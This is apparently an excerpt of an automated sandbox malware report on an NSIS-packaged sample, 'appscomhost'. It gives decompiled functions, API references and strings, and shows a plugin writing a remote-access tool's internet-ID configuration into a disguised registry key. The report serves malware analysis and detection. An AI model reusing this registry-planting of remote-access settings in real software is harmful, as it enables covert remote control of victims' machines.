Part of subcall function 10003393: RegCreateKeyExA.ADVAPI32(00000000,00000000,?,00000000,00000000,00000000,?,00000000,10004440,00000000,3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076,SOFTWARE\Postapocalyptic rundlet\Host\Host\Parameters,?,10004440,00000000,SOFTWARE\Postapocalyptic rundlet\Host\Host\Parameters), ref: 100033D0

RegCloseKey.ADVAPI32(00000000), ref: 1000457F

Strings

InternetId, xrefs: 100043D8, 100044ED, 1000453F, 10004567
SOFTWARE\Postapocalyptic rundlet\Host\Host\Parameters, xrefs: 100043C4, 100043CE, 100043F5, 100043FC, 10004437
3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076, xrefs: 100043C9, 100043E3, 1000449A, 100044CC, 100044DF, 100044EA, 10004500, 1000455C
<?xml version="1.0" encoding="UTF-8"?><rms_internet_id_settings version="69110"><internet_id>874-191-958-793</internet_id><use_inet_connection>true</use_inet_connection><inet_server></inet_server><use_custom_inet_server>false</use_custom_inet_server><inet_id_p, xrefs: 10004556, 1000455B, 10004563
REG_BINARY, xrefs: 100043EA, 100043EF, 10004405

Memory Dump Source

Source File: 00000005.00000002.288908428.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.288900657.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.288917465.0000000010006000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.288924332.0000000010007000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.288932582.0000000010027000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.288940667.0000000010047000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.288949750.0000000010058000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_appscomhost.jbxd

Similarity

API ID: ByteCharCloseCreateFreeGlobalMultiWide
String ID: 3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076$<?xml version="1.0" encoding="UTF-8"?><rms_internet_id_settings version="69110"><internet_id>874-191-958-793</internet_id><use_inet_connection>true</use_inet_connection><inet_server></inet_server><use_custom_inet_server>false</use_custom_inet_server><inet_id_p$InternetId$REG_BINARY$SOFTWARE\Postapocalyptic rundlet\Host\Host\Parameters
API String ID: 4251543773-1877468502
Opcode ID: be436bb148c56265010519eecb0dd8e3818c8665bcd1e8e5abe2dccd1de56dd0
Instruction ID: b4c99bf703c6d4f3faf4f10a0c974bb97cee2be09989649d504a6fe7688cbc7d
Opcode Fuzzy Hash: be436bb148c56265010519eecb0dd8e3818c8665bcd1e8e5abe2dccd1de56dd0
Instruction Fuzzy Hash: A951E7F2E00504BBFB11DA64CC85EBF3AADEB853D1F124029F615A316ADF349E41C665

Uniqueness

Uniqueness Score: -1.00%

Function 0040176F, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 75%

			E0040176F(FILETIME* __ebx, void* __eflags) {
				void* __esi;
				void* _t35;
				void* _t43;
				void* _t45;
				FILETIME* _t51;
				FILETIME* _t64;
				void* _t66;
				signed int _t72;
				FILETIME* _t73;
				FILETIME* _t77;
				signed int _t79;
				WCHAR* _t81;
				void* _t83;
				void* _t84;
				void* _t86;

				_t77 = __ebx;
				 *(_t86 - 8) = E00402D3E(0x31);
				 *(_t86 + 8) =  *(_t86 - 0x30) & 0x00000007;
				_t35 = E00405D5D( *(_t86 - 8));
				_push( *(_t86 - 8));
				_t81 = L"open";
				if(_t35 == 0) {
					lstrcatW(E00405CE6(E00406411(_t81, 0x4d4000)), ??);
				} else {
					E00406411();
				}
				E004066C0(_t81);
				while(1) {
					__eflags =  *(_t86 + 8) - 3;
					if( *(_t86 + 8) >= 3) {
						_t66 = E0040676F(_t81);
						_t79 = 0;
						__eflags = _t66 - _t77;
						if(_t66 != _t77) {
							_t73 = _t66 + 0x14;
							__eflags = _t73;
							_t79 = CompareFileTime(_t73, _t86 - 0x24);
						}
						asm("sbb eax, eax");
						_t72 =  ~(( *(_t86 + 8) + 0xfffffffd | 0x80000000) & _t79) + 1;
						__eflags = _t72;
						 *(_t86 + 8) = _t72;
					}
					__eflags =  *(_t86 + 8) - _t77;
					if( *(_t86 + 8) == _t77) {
						E00405EE2(_t81);
					}
					__eflags =  *(_t86 + 8) - 1;
					_t43 = E00405F07(_t81, 0x40000000, (0 |  *(_t86 + 8) != 0x00000001) + 1);
					__eflags = _t43 - 0xffffffff;
					 *(_t86 - 0x38) = _t43;
					if(_t43 != 0xffffffff) {
						break;
					}
					__eflags =  *(_t86 + 8) - _t77;
					if( *(_t86 + 8) != _t77) {
						E00405479(0xffffffe2,  *(_t86 - 8));
						__eflags =  *(_t86 + 8) - 2;
						if(__eflags == 0) {
							 *((intOrPtr*)(_t86 - 4)) = 1;
						}
						L31:
						 *0x47afa8 =  *0x47afa8 +  *((intOrPtr*)(_t86 - 4));
						__eflags =  *0x47afa8;
						goto L32;
					} else {
						E00406411(0x4125f0, _t83);
						E00406411(_t83, _t81);
						E0040644E(_t77, _t81, _t83, 0x40e5f0,  *((intOrPtr*)(_t86 - 0x1c)));
						E00406411(_t83, 0x4125f0);
						_t64 = E00405A77(0x40e5f0,  *(_t86 - 0x30) >> 3) - 4;
						__eflags = _t64;
						if(_t64 == 0) {
							continue;
						} else {
							__eflags = _t64 == 1;
							if(_t64 == 1) {
								 *0x47afa8 =  &( *0x47afa8->dwLowDateTime);
								L32:
								_t51 = 0;
								__eflags = 0;
							} else {
								_push(_t81);
								_push(0xfffffffa);
								E00405479();
								L29:
								_t51 = 0x7fffffff;
							}
						}
					}
					L33:
					return _t51;
				}
				E00405479(0xffffffea,  *(_t86 - 8));
				 *0x47afd4 =  *0x47afd4 + 1;
				_t45 = E0040324C( *((intOrPtr*)(_t86 - 0x28)),  *(_t86 - 0x38), _t77, _t77); // executed
				 *0x47afd4 =  *0x47afd4 - 1;
				__eflags =  *(_t86 - 0x24) - 0xffffffff;
				_t84 = _t45;
				if( *(_t86 - 0x24) != 0xffffffff) {
					L22:
					SetFileTime( *(_t86 - 0x38), _t86 - 0x24, _t77, _t86 - 0x24); // executed
				} else {
					__eflags =  *((intOrPtr*)(_t86 - 0x20)) - 0xffffffff;
					if( *((intOrPtr*)(_t86 - 0x20)) != 0xffffffff) {
						goto L22;
					}
				}
				FindCloseChangeNotification( *(_t86 - 0x38)); // executed
				__eflags = _t84 - _t77;
				if(_t84 >= _t77) {
					goto L31;
				} else {
					__eflags = _t84 - 0xfffffffe;
					if(_t84 != 0xfffffffe) {
						E0040644E(_t77, _t81, _t84, _t81, 0xffffffee);
					} else {
						E0040644E(_t77, _t81, _t84, _t81, 0xffffffe9);
						lstrcatW(_t81,  *(_t86 - 8));
					}
					_push(0x200010);
					_push(_t81);
					E00405A77();
					goto L29;
				}
				goto L33;
			}

0x0040176f
0x00401776
0x00401782
0x00401785
0x0040178a
0x0040178d
0x00401794
0x004017b0
0x00401796
0x00401797
0x00401797
0x004017b6
0x004017bb
0x004017bb
0x004017bf
0x004017c2
0x004017c7
0x004017c9
0x004017cb
0x004017d0
0x004017d0
0x004017db
0x004017db
0x004017ec
0x004017ee
0x004017ee
0x004017ef
0x004017ef
0x004017f2
0x004017f5
0x004017f8
0x004017f8
0x004017ff
0x0040180e
0x00401813
0x00401816
0x00401819
0x00000000
0x00000000
0x0040181b
0x0040181e
0x00401874
0x00401879
0x004015b6
0x00402925
0x00402925
0x00402bc2
0x00402bc5
0x00402bc5
0x00000000
0x00401820
0x00401826
0x0040182d
0x0040183a
0x00401845
0x0040185b
0x0040185b
0x0040185e
0x00000000
0x00401864
0x00401864
0x00401865
0x00401882
0x00402bcb
0x00402bcb
0x00402bcb
0x00401867
0x00401867
0x00401868
0x00401493
0x00402395
0x00402395
0x00402395
0x00401865
0x0040185e
0x00402bcd
0x00402bd1
0x00402bd1
0x00401892
0x00401897
0x004018a5
0x004018aa
0x004018b0
0x004018b4
0x004018b6
0x004018be
0x004018ca
0x004018b8
0x004018b8
0x004018bc
0x00000000
0x00000000
0x004018bc
0x004018d3
0x004018d9
0x004018db
0x00000000
0x004018e1
0x004018e1
0x004018e4
0x004018fc
0x004018e6
0x004018e9
0x004018f2
0x004018f2
0x00401901
0x00401906
0x00402390
0x00000000
0x00402390
0x00000000

APIs

lstrcatW.KERNEL32(00000000,00000000), ref: 004017B0
CompareFileTime.KERNEL32(-00000014,?,open,open,00000000,00000000,open,004D4000,?,?,00000031), ref: 004017D5

Part of subcall function 00406411: lstrcpynW.KERNEL32(?,?,00002000,00403596,00472F00,NSIS Error,?,00000007,00000009,0000000B), ref: 0040641E

Part of subcall function 00405479: lstrlenW.KERNEL32(00448248,00000000,004130AD,74B5EA30,?,?,?,?,?,?,?,?,?,004033B0,00000000,?), ref: 004054B1
Part of subcall function 00405479: lstrlenW.KERNEL32(004033B0,00448248,00000000,004130AD,74B5EA30,?,?,?,?,?,?,?,?,?,004033B0,00000000), ref: 004054C1
Part of subcall function 00405479: lstrcatW.KERNEL32(00448248,004033B0), ref: 004054D4
Part of subcall function 00405479: SetWindowTextW.USER32(00448248,00448248), ref: 004054E6
Part of subcall function 00405479: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040550C
Part of subcall function 00405479: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405526
Part of subcall function 00405479: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405534

Strings

open, xrefs: 0040178D, 004017A3, 004017B5, 004017C1, 004017F7, 0040180D, 0040182B, 00401867, 004018E8, 004018F1, 004018FB, 00401906

Memory Dump Source

Source File: 00000005.00000002.284858418.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.284853795.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284864724.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284875976.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284881352.0000000000412000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284886270.000000000041E000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284911078.0000000000469000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284916897.000000000047C000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284921285.0000000000484000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284928935.00000000004FC000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284942608.00000000005FC000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_appscomhost.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: open
API String ID: 1941528284-2758837156
Opcode ID: 217ab3769ab324d222d319c6972733dd76a81290f18f429452078606093bcbb4
Instruction ID: e519c35ef91ef85fd6b9f8c96e1770077b8742d4b44cc16f688329f733d63636
Opcode Fuzzy Hash: 217ab3769ab324d222d319c6972733dd76a81290f18f429452078606093bcbb4
Instruction Fuzzy Hash: D741A571500118BACF11BFB5CD85DAE3679EF45328B20423FF512B21E1DB3C89A19A2E

Uniqueness

Uniqueness Score: -1.00%

Function 00406796, Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00406796(intOrPtr _a4) {
				short _v576;
				signed int _t13;
				struct HINSTANCE__* _t17;
				signed int _t19;
				void* _t24;

				_t13 = GetSystemDirectoryW( &_v576, 0x104);
				if(_t13 > 0x104) {
					_t13 = 0;
				}
				if(_t13 == 0 ||  *((short*)(_t24 + _t13 * 2 - 0x23e)) == 0x5c) {
					_t19 = 1;
				} else {
					_t19 = 0;
				}
				wsprintfW(_t24 + _t13 * 2 - 0x23c, L"%s%S.dll", 0x40a014 + _t19 * 2, _a4);
				_t17 = LoadLibraryExW( &_v576, 0, 8); // executed
				return _t17;
			}

0x004067ad
0x004067b6
0x004067b8
0x004067b8
0x004067bc
0x004067cf
0x004067c9
0x004067c9
0x004067c9
0x004067e8
0x004067fc
0x00406803

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004067AD
wsprintfW.USER32 ref: 004067E8
LoadLibraryExW.KERNELBASE(?,00000000,00000008), ref: 004067FC

Strings

UXTHEME, xrefs: 0040679F
\, xrefs: 004067BE
%s%S.dll, xrefs: 004067E2

Memory Dump Source

Source File: 00000005.00000002.284858418.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.284853795.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284864724.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284875976.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284881352.0000000000412000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284886270.000000000041E000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284911078.0000000000469000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284916897.000000000047C000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284921285.0000000000484000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284928935.00000000004FC000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284942608.00000000005FC000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_appscomhost.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME$\
API String ID: 2200240437-1946221925
Opcode ID: 70474fd7a4f9c0ba06a591290262a653731ba096fd3a0e6ffa6d52d828e9795f
Instruction ID: 2cc1ede9ae180511fd9dc47da010e879a2503ad1dada0433f9440106b5f2728e
Opcode Fuzzy Hash: 70474fd7a4f9c0ba06a591290262a653731ba096fd3a0e6ffa6d52d828e9795f
Instruction Fuzzy Hash: 86F09670510119A7DB24BF64DE4DF9B366CAB00709F11447AA646F21D0EB7C9A68CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 10003393, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 58
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E10003393(void* _a4, short* _a8, int _a12, short* _a16, int _a20, int _a24, struct _SECURITY_ATTRIBUTES* _a28, void** _a32, int* _a36) {
				intOrPtr _t19;
				long _t23;
				long _t26;

				_t19 =  *0x10007000; // 0x0
				if(_t19 != 1) {
					if(_t19 != 0) {
						E100022B7();
						return 1;
					} else {
						_t23 = RegCreateKeyExW(_a4, _a8, _a12, _a16, _a20, _a24, _a28, _a32, _a36); // executed
						return _t23;
					}
				} else {
					_t41 = E10002F8E(_a8);
					_t38 = E10002F8E(_a16);
					_t26 = RegCreateKeyExA(_a4, _t24, _a12, _t25, _a20, _a24, _a28, _a32, _a36);
					E10002335(_t41);
					E10002335(_t38);
					return _t26;
				}
			}

0x10003396
0x1000339e
0x100033ef
0x10003414
0x1000341d
0x100033f1
0x1000340c
0x10003413
0x10003413
0x100033a0
0x100033ae
0x100033ba
0x100033d0
0x100033d9
0x100033df
0x100033ec
0x100033ec

APIs

RegCreateKeyExA.ADVAPI32(00000000,00000000,?,00000000,00000000,00000000,?,00000000,10004440,00000000,3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076,SOFTWARE\Postapocalyptic rundlet\Host\Host\Parameters,?,10004440,00000000,SOFTWARE\Postapocalyptic rundlet\Host\Host\Parameters), ref: 100033D0

Part of subcall function 10002335: GlobalFree.KERNEL32 ref: 10002340

RegCreateKeyExW.KERNELBASE(00000000,00000000,?,00000000,00000000,00000000,?,00000000,10004440,?,10004440,00000000,SOFTWARE\Postapocalyptic rundlet\Host\Host\Parameters,00000000,00000000,00000000), ref: 1000340C

Strings

SOFTWARE\Postapocalyptic rundlet\Host\Host\Parameters, xrefs: 100033A0
3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076, xrefs: 100033A1

Memory Dump Source

Source File: 00000005.00000002.288908428.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.288900657.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.288917465.0000000010006000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.288924332.0000000010007000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.288932582.0000000010027000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.288940667.0000000010047000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.288949750.0000000010058000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_appscomhost.jbxd

Similarity

API ID: Create$FreeGlobal
String ID: 3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076$SOFTWARE\Postapocalyptic rundlet\Host\Host\Parameters
API String ID: 1366836192-3412514566
Opcode ID: e8f8f166a8ed0e7c69ad6b0f2b36b80f7a6e9b7f677287450aa0db076d234df0
Instruction ID: aa56ff811675d69e7919beffeeb5fe803cdf6dd7f71a7261d828bb87f28b6d50
Opcode Fuzzy Hash: e8f8f166a8ed0e7c69ad6b0f2b36b80f7a6e9b7f677287450aa0db076d234df0
Instruction Fuzzy Hash: DB11053200414ABFEF029F90EC45CEA3FAAFF4D2A4B114125FA0891124DB36E971AB90

Uniqueness

Uniqueness Score: -1.00%

Function 1000341E, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 41
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E1000341E(void* _a4, short* _a8, int _a12, int _a16, void** _a20) {
				intOrPtr _t11;
				long _t15;
				long _t17;

				_t11 =  *0x10007000; // 0x0
				if(_t11 != 1) {
					if(_t11 != 0) {
						E100022B7();
						return 1;
					} else {
						_t15 = RegOpenKeyExW(_a4, _a8, _a12, _a16, _a20); // executed
						return _t15;
					}
				} else {
					_t26 = E10002F8E(_a8);
					_t17 = RegOpenKeyExA(_a4, _t16, _a12, _a16, _a20);
					E10002335(_t26);
					return _t17;
				}
			}

0x10003421
0x10003429
0x1000345c
0x10003475
0x1000347e
0x1000345e
0x1000346d
0x10003474
0x10003474
0x1000342b
0x10003439
0x10003445
0x1000344e
0x10003459
0x10003459

APIs

RegOpenKeyExA.ADVAPI32(00020019,00000000,-00000008,?,10003BDF,3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076,REG_BINARY,?,100038CF,00020019,00000000,-00000008,?,10003BDF,00000000,10003BDF), ref: 10003445

Part of subcall function 10002335: GlobalFree.KERNEL32 ref: 10002340

RegOpenKeyExW.KERNELBASE(00020019,00000000,-00000008,?,10003BDF,?,100038CF,00020019,00000000,-00000008,?,10003BDF,00000000,10003BDF,?,-00000008), ref: 1000346D

Strings

3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076, xrefs: 1000342C
REG_BINARY, xrefs: 1000342B

Memory Dump Source

Source File: 00000005.00000002.288908428.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.288900657.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.288917465.0000000010006000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.288924332.0000000010007000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.288932582.0000000010027000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.288940667.0000000010047000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.288949750.0000000010058000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_appscomhost.jbxd

Similarity

API ID: Open$FreeGlobal
String ID: 3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076$REG_BINARY
API String ID: 355097715-1881602935
Opcode ID: 07b7dc59b8ece281ad733227d2b9121c370f1dbd4f21f9b302e7c3dc98f75a48
Instruction ID: 377d775a3d59cacce431edfbf9d8faf3fc6213752c062a16a90a449e4ddf95ac
Opcode Fuzzy Hash: 07b7dc59b8ece281ad733227d2b9121c370f1dbd4f21f9b302e7c3dc98f75a48
Instruction Fuzzy Hash: A2F01D3650015ABBEF029FA5EC058DB3F6AFF892E1B108021FA0C85124D732D9719B90

Uniqueness

Uniqueness Score: -1.00%

Function 10003656, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 30
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E10003656(void* _a4, short* _a8) {
				intOrPtr _t5;
				long _t9;
				long _t11;

				_t5 =  *0x10007000; // 0x0
				if(_t5 != 1) {
					if(_t5 != 0) {
						E100022B7();
						return 1;
					} else {
						_t9 = RegDeleteValueW(_a4, _a8); // executed
						return _t9;
					}
				} else {
					_t20 = E10002F8E(_a8);
					_t11 = RegDeleteValueA(_a4, _t10);
					E10002335(_t20);
					return _t11;
				}
			}

0x10003656
0x1000365e
0x10003689
0x1000369a
0x100036a2
0x1000368b
0x10003693
0x10003699
0x10003699
0x10003660
0x1000366c
0x10003673
0x1000367c
0x10003686
0x10003686

APIs

RegDeleteValueA.ADVAPI32(?,00000000,InternetId,SOFTWARE\Postapocalyptic rundlet\Host\Host\Parameters,100049B0,00000000,InternetId), ref: 10003673

Part of subcall function 10002335: GlobalFree.KERNEL32 ref: 10002340

RegDeleteValueW.KERNELBASE(00000000,00000000,100049B0,00000000,InternetId), ref: 10003693

Strings

InternetId, xrefs: 10003661
SOFTWARE\Postapocalyptic rundlet\Host\Host\Parameters, xrefs: 10003660

Memory Dump Source

Source File: 00000005.00000002.288908428.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.288900657.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.288917465.0000000010006000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.288924332.0000000010007000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.288932582.0000000010027000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.288940667.0000000010047000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.288949750.0000000010058000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_appscomhost.jbxd

Similarity

API ID: DeleteValue$FreeGlobal
String ID: InternetId$SOFTWARE\Postapocalyptic rundlet\Host\Host\Parameters
API String ID: 2301017085-335418722
Opcode ID: 8887cd0fd139457d5349fb5184f25190e08ef9d00bff1fb146f170bdef2a4d25
Instruction ID: 2cb8b26031d74d85c98f9d886234eeb30e9260fcc359113f1dbcccb504680b0d
Opcode Fuzzy Hash: 8887cd0fd139457d5349fb5184f25190e08ef9d00bff1fb146f170bdef2a4d25
Instruction Fuzzy Hash: B3E092365152627BEE029B25EC0895B7FEEFFC92E2B114839F049C2128DB21CC418650

Uniqueness

Uniqueness Score: -1.00%

Function 10002B98, Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 46
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 94%

			E10002B98(short* _a4, int _a8) {
				void* __edi;
				signed int _t10;
				char* _t12;
				short* _t19;
				void* _t22;
				void* _t23;
				signed int _t24;
				void* _t26;
				intOrPtr _t31;

				_t10 =  *0x10007288; // 0x41e650
				if(_t10 == 0) {
					L8:
					return _t10 | 0xffffffff;
				} else {
					_t26 =  *_t10;
					if(_t26 == 0) {
						goto L8;
					} else {
						_t31 =  *0x10007008; // 0x1
						_push(_t23);
						_t1 = _t26 + 4; // 0x404
						_t12 = _t1;
						if(_t31 == 0) {
							_t19 = _a4;
							_t24 = MultiByteToWideChar(0, 0, _t12, 0xffffffff, _t19, _a8);
							if(_t24 != 0) {
								_t24 = _t24 - 1;
								_t19[_t24] = _t19[_t24] & 0x00000000;
							}
						} else {
							_t24 = E10001982(_t23, _a4, _t12, _a8);
						}
						_t22 =  *0x10007288; // 0x41e650
						 *_t22 =  *_t26; // executed
						GlobalFree(_t26); // executed
						return _t24;
					}
				}
			}

0x10002b98
0x10002ba2
0x10002c03
0x10002c07
0x10002ba4
0x10002ba4
0x10002ba8
0x00000000
0x10002baa
0x10002baa
0x10002bb0
0x10002bb1
0x10002bb1
0x10002bb4
0x10002bd0
0x10002be0
0x10002be4
0x10002be6
0x10002be7
0x10002be7
0x10002bb6
0x10002bc7
0x10002bc7
0x10002bef
0x10002bf6
0x10002bf8
0x10002c02
0x10002c02
0x10002ba8

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000404,000000FF,?,?,?,3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076,00000400,10003008,3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076,00000400,?,?,?,?), ref: 10002BDA
GlobalFree.KERNELBASE(00000400), ref: 10002BF8

Strings

PA, xrefs: 10002B98, 10002BEF
3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076, xrefs: 10002BB0

Memory Dump Source

Source File: 00000005.00000002.288908428.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.288900657.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.288917465.0000000010006000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.288924332.0000000010007000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.288932582.0000000010027000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.288940667.0000000010047000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.288949750.0000000010058000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_appscomhost.jbxd

Similarity

API ID: ByteCharFreeGlobalMultiWide
String ID: 3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076$PA
API String ID: 3919039628-495514156
Opcode ID: 9c9a249a23bfc7ef8ce8f8a13dc314ed70a3d058c3d31f91e488082c7950fa73
Instruction ID: 59d4f0276da7f12dc30b469c7ee1d4346af712f66a662cadcf14a77dc8d40c17
Opcode Fuzzy Hash: 9c9a249a23bfc7ef8ce8f8a13dc314ed70a3d058c3d31f91e488082c7950fa73
Instruction Fuzzy Hash: E6018676514211AFFB50CF18ECC1CAA77E9FB883A07210629F455D72A8EB71EC448761

Uniqueness

Uniqueness Score: -1.00%

Function 00405948, Relevance: 6.0, APIs: 4, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00405948(WCHAR* _a4) {
				struct _SECURITY_ATTRIBUTES _v16;
				struct _SECURITY_DESCRIPTOR _v36;
				int _t22;
				long _t23;

				_v36.Sbz1 = _v36.Sbz1 & 0x00000000;
				_v36.Owner = 0x4083f8;
				_v36.Group = 0x4083f8;
				_v36.Sacl = _v36.Sacl & 0x00000000;
				_v16.bInheritHandle = _v16.bInheritHandle & 0x00000000;
				_v16.lpSecurityDescriptor =  &_v36;
				_v36.Revision = 1;
				_v36.Control = 4;
				_v36.Dacl = 0x4083e8;
				_v16.nLength = 0xc;
				_t22 = CreateDirectoryW(_a4,  &_v16); // executed
				if(_t22 != 0) {
					L1:
					return 0;
				}
				_t23 = GetLastError();
				if(_t23 == 0xb7) {
					if(SetFileSecurityW(_a4, 0x80000007,  &_v36) != 0) {
						goto L1;
					}
					return GetLastError();
				}
				return _t23;
			}

0x00405953
0x00405957
0x0040595a
0x00405960
0x00405964
0x00405968
0x00405970
0x00405977
0x0040597d
0x00405984
0x0040598b
0x00405993
0x00405995
0x00000000
0x00405995
0x0040599f
0x004059a6
0x004059bc
0x00000000
0x00000000
0x00000000
0x004059be
0x004059c2

APIs

CreateDirectoryW.KERNELBASE(?,?,004E0000), ref: 0040598B
GetLastError.KERNEL32 ref: 0040599F
SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 004059B4
GetLastError.KERNEL32 ref: 004059BE

Memory Dump Source

Source File: 00000005.00000002.284858418.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.284853795.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284864724.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284875976.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284881352.0000000000412000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284886270.000000000041E000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284911078.0000000000469000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284916897.000000000047C000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284921285.0000000000484000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284928935.00000000004FC000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284942608.00000000005FC000.00000002.00020000.sdmp Download File

